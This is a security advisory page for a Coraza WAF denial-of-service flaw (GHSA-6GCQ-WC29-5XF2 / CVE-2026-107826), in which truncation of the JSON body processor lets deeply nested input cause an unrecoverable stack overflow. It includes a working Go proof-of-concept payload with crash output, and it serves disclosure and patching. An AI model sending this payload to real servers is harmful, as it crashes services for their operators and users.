Vulnerability-Lookup

GHSA-6GCQ-WC29-5XF2

Vulnerability from github – Published: 2026-10-08 17:45 – Updated: 2026-10-09 17:33

Summary

Coraza JSON body processor: argument-limit truncation reopens an unbounded-depth gjson.Valid stack overflow (process crash)

Details

Summary

The JSON body processor (internal/bodyprocessors/json.go) can be made to crash the whole process with an unrecoverable fatal error: stack overflow, using a request body that is well under the recommended SecRequestBodyLimit and the default SecArgumentsLimit.

Root cause

readJSON (json.go:113-143) runs a bounded, best-effort flattening walk (readItems) and afterwards calls gjson.Valid(s) on the raw body if readItems returned no error:

json := gjson.Parse(s)
...
truncated, err = readItems(json, key, maxRecursion, argumentLimit, byteBudget, &usedBytes, &argCount, res)
if err != nil {
    return res, truncated, err
}
if !gjson.Valid(s) {
    return res, truncated, errors.New("invalid JSON")
}

gjson.Valid (gjson v1.18.0, validany -> validarray/validobject) recurses once per nesting level with no depth bound. readItems does have a depth bound (maxRecursion), enforced here (json.go:163-182):

func readItems(json gjson.Result, objKey []byte, maxRecursion int, argumentLimit int, byteBudget int, usedBytes *int, argCount *int, res map[string][]string) (truncated bool, err error) {
    if byteBudget > 0 && *usedBytes >= byteBudget {
        return true, nil                 // <-- checked first
    }
    if argumentLimit > 0 && *argCount >= argumentLimit {
        return true, nil                 // <-- checked second
    }
    ...
    if maxRecursion <= 0 {
        return false, errors.New("max recursion reached while reading json object")
    }

The byte-budget and argument-limit checks run before the recursion-depth check, and they short-circuit the walk with truncated=true, err=nil instead of recursing further. If the configured SecArgumentsLimit (ArgumentLimit, default 1000, internal/corazawaf/waf.go:359) is reached by earlier, shallow values in the document, readItems stops walking before it ever reaches a deeply nested tail later in the same document — so the maxRecursion error is never produced, err comes back nil, and readJSON falls through to the unconditional gjson.Valid(s) call on the complete raw body, including the part readItems never visited.

This is not a new interaction with the recursion limit itself: at v3.7.0, gjson.Valid ran unconditionally before any recursion check at all, so a plain deeply-nested body crashed the process directly. A later fix added a depth check that returns an error before Valid runs for the straightforward case (nesting reached before any other guard fires). The argument-limit / byte-budget guards added since then (GHSA-6r3q-mjv7-xr8m, GHSA-3ww9-vw83-9w5x) reopened the same crash for the case above, because they short-circuit the walk (and therefore the recursion counter) ahead of the depth check, on both the request and response body path (ProcessResponse calls the same readJSON, json.go:57-88).

Because this is fatal error: stack overflow, not a panic, it is not recoverable by any recover() in the calling goroutine — the process terminates unconditionally.

PoC

package bodyprocessors

import (
    "strings"
    "testing"
)

func TestStackOverflowRepro(t *testing.T) {
    body := "[" + strings.Repeat("1,", 1000) + strings.Repeat("[", 13_000_000)
    // 13,002,001 bytes total: under the recommended SecRequestBodyLimit
    // (13107200, coraza.conf-recommended:78) and default ArgumentLimit (1000,
    // internal/corazawaf/waf.go:359).
    _, _, _ = readJSON(body, 20, 1000)
}

$ go test -run TestStackOverflowRepro ./internal/bodyprocessors/ -v
runtime: goroutine stack exceeds 1000000000-byte limit
fatal error: stack overflow
...
github.com/tidwall/gjson.validarray(...)
    .../gjson@v1.18.0/gjson.go:2584
github.com/tidwall/gjson.validany(...)
    .../gjson@v1.18.0/gjson.go:2499
github.com/tidwall/gjson.validarray(...)
    .../gjson@v1.18.0/gjson.go:2589
... (repeats until the goroutine stack limit is hit)

Reproduced against commit 19b86824 (tag v3.8.0), both by calling readJSON directly and end-to-end through the recommended coraza.conf-recommended configuration (JSON Content-Type, default SecArgumentsLimit, recommended SecRequestBodyLimit).

Impact

An unauthenticated attacker who can send an HTTP request body (any endpoint protected by Coraza with the JSON body processor enabled, which is the default for application/json) can crash the entire host process with a single request, using a payload well within default and recommended body size and argument-count limits. There is no privilege or interaction requirement, and the crash cannot be caught or mitigated by the integrator (no recover() stops a stack-overflow fatal error). This is strictly worse than a CPU-exhaustion or slow-request DoS: the process must be restarted, and every in-flight request/transaction on that process is lost.

Suggested fix

Run an iterative, explicitly-bounded-depth pre-scan (or reuse readItems's own recursion accounting) before calling gjson.Valid, and never call gjson.Valid on input whose nesting exceeds maxRecursion. The response path (ProcessResponse) needs the same treatment since it shares readJSON.

AI involvement disclosure

AI tools/models used: Claude Sonnet 5 (Anthropic), via Claude Code.
What was generated/assisted: the initial vulnerability hypothesis and repro shape were supplied by the reporter as an existing written finding; Claude Sonnet 5 independently re-derived the root cause by reading the current source, wrote and ran a fresh PoC test against commit 19b86824 (tag v3.8.0), confirmed the crash and stack trace shown above, verified the default configuration values cited (ArgumentLimit default, SecRequestBodyLimit recommended value) against the current source, and drafted this advisory text.
Review performed: reproduced by hand by running the PoC test above with go test -run TestStackOverflowRepro ./internal/bodyprocessors/ -v against a clean checkout of commit 19b86824; observed the fatal error: stack overflow and stack trace through gjson.validarray/validany; traced readJSON/readItems line by line to confirm the guard ordering described above; the PoC was reviewed by a human maintainer (fzipi) before submission of this advisory.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/corazawaf/coraza/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-107826"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T17:45:46Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe JSON body processor (`internal/bodyprocessors/json.go`) can be made to\ncrash the whole process with an unrecoverable `fatal error: stack overflow`,\nusing a request body that is well under the recommended `SecRequestBodyLimit`\nand the default `SecArgumentsLimit`.\n\n### Root cause\n\n`readJSON` (json.go:113-143) runs a bounded, best-effort flattening walk\n(`readItems`) and *afterwards* calls `gjson.Valid(s)` on the raw body if\n`readItems` returned no error:\n\n```go\njson := gjson.Parse(s)\n...\ntruncated, err = readItems(json, key, maxRecursion, argumentLimit, byteBudget, \u0026usedBytes, \u0026argCount, res)\nif err != nil {\n    return res, truncated, err\n}\nif !gjson.Valid(s) {\n    return res, truncated, errors.New(\"invalid JSON\")\n}\n```\n\n`gjson.Valid` (gjson v1.18.0, `validany` -\u003e `validarray`/`validobject`) recurses\nonce per nesting level with **no depth bound**. `readItems` does have a depth\nbound (`maxRecursion`), enforced here (json.go:163-182):\n\n```go\nfunc readItems(json gjson.Result, objKey []byte, maxRecursion int, argumentLimit int, byteBudget int, usedBytes *int, argCount *int, res map[string][]string) (truncated bool, err error) {\n    if byteBudget \u003e 0 \u0026\u0026 *usedBytes \u003e= byteBudget {\n        return true, nil                 // \u003c-- checked first\n    }\n    if argumentLimit \u003e 0 \u0026\u0026 *argCount \u003e= argumentLimit {\n        return true, nil                 // \u003c-- checked second\n    }\n    ...\n    if maxRecursion \u003c= 0 {\n        return false, errors.New(\"max recursion reached while reading json object\")\n    }\n```\n\nThe byte-budget and argument-limit checks run *before* the recursion-depth\ncheck, and they short-circuit the walk with `truncated=true, err=nil` instead\nof recursing further. If the configured `SecArgumentsLimit`\n(`ArgumentLimit`, default 1000, `internal/corazawaf/waf.go:359`) is reached by\nearlier, shallow values in the document, `readItems` stops walking *before it\never reaches* a deeply nested tail later in the same document \u2014 so the\n`maxRecursion` error is never produced, `err` comes back `nil`, and `readJSON`\nfalls through to the unconditional `gjson.Valid(s)` call on the complete raw\nbody, including the part `readItems` never visited.\n\nThis is not a new interaction with the recursion limit itself: at v3.7.0,\n`gjson.Valid` ran unconditionally before any recursion check at all, so a\nplain deeply-nested body crashed the process directly. A later fix added a\ndepth check that returns an error before `Valid` runs for the *straightforward*\ncase (nesting reached before any other guard fires). The argument-limit /\nbyte-budget guards added since then (GHSA-6r3q-mjv7-xr8m,\nGHSA-3ww9-vw83-9w5x) reopened the same crash for the case above, because they\nshort-circuit the walk (and therefore the recursion counter) ahead of the\ndepth check, on both the request and response body path (`ProcessResponse`\ncalls the same `readJSON`, json.go:57-88).\n\nBecause this is `fatal error: stack overflow`, not a `panic`, it is **not**\nrecoverable by any `recover()` in the calling goroutine \u2014 the process\nterminates unconditionally.\n\n### PoC\n\n```go\npackage bodyprocessors\n\nimport (\n    \"strings\"\n    \"testing\"\n)\n\nfunc TestStackOverflowRepro(t *testing.T) {\n    body := \"[\" + strings.Repeat(\"1,\", 1000) + strings.Repeat(\"[\", 13_000_000)\n    // 13,002,001 bytes total: under the recommended SecRequestBodyLimit\n    // (13107200, coraza.conf-recommended:78) and default ArgumentLimit (1000,\n    // internal/corazawaf/waf.go:359).\n    _, _, _ = readJSON(body, 20, 1000)\n}\n```\n\n```\n$ go test -run TestStackOverflowRepro ./internal/bodyprocessors/ -v\nruntime: goroutine stack exceeds 1000000000-byte limit\nfatal error: stack overflow\n...\ngithub.com/tidwall/gjson.validarray(...)\n\t.../gjson@v1.18.0/gjson.go:2584\ngithub.com/tidwall/gjson.validany(...)\n\t.../gjson@v1.18.0/gjson.go:2499\ngithub.com/tidwall/gjson.validarray(...)\n\t.../gjson@v1.18.0/gjson.go:2589\n... (repeats until the goroutine stack limit is hit)\n```\n\nReproduced against commit `19b86824` (tag `v3.8.0`), both by calling\n`readJSON` directly and end-to-end through the recommended\n`coraza.conf-recommended` configuration (JSON `Content-Type`, default\n`SecArgumentsLimit`, recommended `SecRequestBodyLimit`).\n\n### Impact\n\nAn unauthenticated attacker who can send an HTTP request body (any endpoint\nprotected by Coraza with the JSON body processor enabled, which is the\ndefault for `application/json`) can crash the entire host process with a\nsingle request, using a payload well within default and recommended body\nsize and argument-count limits. There is no privilege or interaction\nrequirement, and the crash cannot be caught or mitigated by the integrator\n(no `recover()` stops a stack-overflow fatal error). This is strictly worse\nthan a CPU-exhaustion or slow-request DoS: the process must be restarted, and\nevery in-flight request/transaction on that process is lost.\n\n### Suggested fix\n\nRun an iterative, explicitly-bounded-depth pre-scan (or reuse `readItems`\u0027s\nown recursion accounting) before calling `gjson.Valid`, and never call\n`gjson.Valid` on input whose nesting exceeds `maxRecursion`. The response\npath (`ProcessResponse`) needs the same treatment since it shares `readJSON`.\n\n### AI involvement disclosure\n\n- **AI tools/models used:** Claude Sonnet 5 (Anthropic), via Claude Code.\n- **What was generated/assisted:** the initial vulnerability hypothesis and\n  repro shape were supplied by the reporter as an existing written finding;\n  Claude Sonnet 5 independently re-derived the root cause by reading the\n  current source, wrote and ran a fresh PoC test against commit `19b86824`\n  (tag `v3.8.0`), confirmed the crash and stack trace shown above, verified\n  the default configuration values cited (`ArgumentLimit` default,\n  `SecRequestBodyLimit` recommended value) against the current source, and\n  drafted this advisory text.\n- **Review performed:** reproduced by hand by running the PoC test above with\n  `go test -run TestStackOverflowRepro ./internal/bodyprocessors/ -v` against\n  a clean checkout of commit `19b86824`; observed the `fatal error: stack\n  overflow` and stack trace through `gjson.validarray`/`validany`; traced\n  `readJSON`/`readItems` line by line to confirm the guard ordering described\n  above; the PoC was reviewed by a human maintainer (fzipi) before\n  submission of this advisory.",
  "id": "GHSA-6gcq-wc29-5xf2",
  "modified": "2026-10-09T17:33:53Z",
  "published": "2026-10-08T17:45:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/corazawaf/coraza/security/advisories/GHSA-6gcq-wc29-5xf2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/corazawaf/coraza/commit/814e1898e083d2ff2ceb644382d0da17e930f93f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/corazawaf/coraza"
    },
    {
      "type": "WEB",
      "url": "https://github.com/corazawaf/coraza/releases/tag/v3.8.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Coraza JSON body processor: argument-limit truncation reopens an unbounded-depth gjson.Valid stack overflow (process crash)"
}

CVE-2026-107826 (GCVE-0-2026-107826)

Vulnerability from cvelistv5 – Published: 2026-10-09 17:33 – Updated: 2026-10-09 17:55

Title

OWASP Coraza WAF: JSON body processor: argument-limit truncation reopens an unbounded-depth gjson.Valid stack overflow (process crash)

Summary

OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. From 3.0.0 until 3.8.1, readJSON in internal/bodyprocessors/json.go can stop its bounded flattening walk after reaching SecArgumentsLimit or the byte budget and then call gjson.Valid on the complete raw body. An unauthenticated attacker can submit shallow values followed by an extremely deeply nested JSON tail that was not visited by the bounded walk, causing gjson.Valid to recurse without a depth bound and terminate the hosting process with an unrecoverable fatal stack overflow. The ProcessRequest and ProcessResponse JSON paths share the affected readJSON validation flow, and the payload can remain within recommended body-size and argument-count limits. This issue is fixed in version 3.8.1.

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-10-09 17:55 UTC

CWE

CWE-674 - Uncontrolled Recursion

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7592 records in the last 180 days details

References

3 references

URL	Tags
https://github.com/corazawaf/coraza/security/advi…	x_refsource_CONFIRM
https://github.com/corazawaf/coraza/commit/814e18…	x_refsource_MISC
https://github.com/corazawaf/coraza/releases/tag/v3.8.1	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
corazawaf	coraza	Affected: >= 3.0.0, < 3.8.1

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-107826",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-10-09T17:55:09.069803Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-10-09T17:55:14.751Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/corazawaf/coraza/security/advisories/GHSA-6gcq-wc29-5xf2"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "coraza",
          "vendor": "corazawaf",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 3.0.0, \u003c 3.8.1"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. From 3.0.0 until 3.8.1, readJSON in internal/bodyprocessors/json.go can stop its bounded flattening walk after reaching SecArgumentsLimit or the byte budget and then call gjson.Valid on the complete raw body. An unauthenticated attacker can submit shallow values followed by an extremely deeply nested JSON tail that was not visited by the bounded walk, causing gjson.Valid to recurse without a depth bound and terminate the hosting process with an unrecoverable fatal stack overflow. The ProcessRequest and ProcessResponse JSON paths share the affected readJSON validation flow, and the payload can remain within recommended body-size and argument-count limits. This issue is fixed in version 3.8.1."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-674",
              "description": "CWE-674: Uncontrolled Recursion",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-09T17:33:49.389Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/corazawaf/coraza/security/advisories/GHSA-6gcq-wc29-5xf2",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/corazawaf/coraza/security/advisories/GHSA-6gcq-wc29-5xf2"
        },
        {
          "name": "https://github.com/corazawaf/coraza/commit/814e1898e083d2ff2ceb644382d0da17e930f93f",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/corazawaf/coraza/commit/814e1898e083d2ff2ceb644382d0da17e930f93f"
        },
        {
          "name": "https://github.com/corazawaf/coraza/releases/tag/v3.8.1",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/corazawaf/coraza/releases/tag/v3.8.1"
        }
      ],
      "source": {
        "advisory": "GHSA-6gcq-wc29-5xf2",
        "discovery": "UNKNOWN"
      },
      "title": "OWASP Coraza WAF: JSON body processor: argument-limit truncation reopens an unbounded-depth gjson.Valid stack overflow (process crash)"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-107826",
    "datePublished": "2026-10-09T17:33:49.389Z",
    "dateReserved": "2026-10-08T21:23:59.824Z",
    "dateUpdated": "2026-10-09T17:55:14.751Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-6GCQ-WC29-5XF2

Summary

Root cause

PoC

Impact

Suggested fix

AI involvement disclosure

CVE-2026-107826 (GCVE-0-2026-107826)

Tags

Sightings

Nomenclature

Related by attack behaviour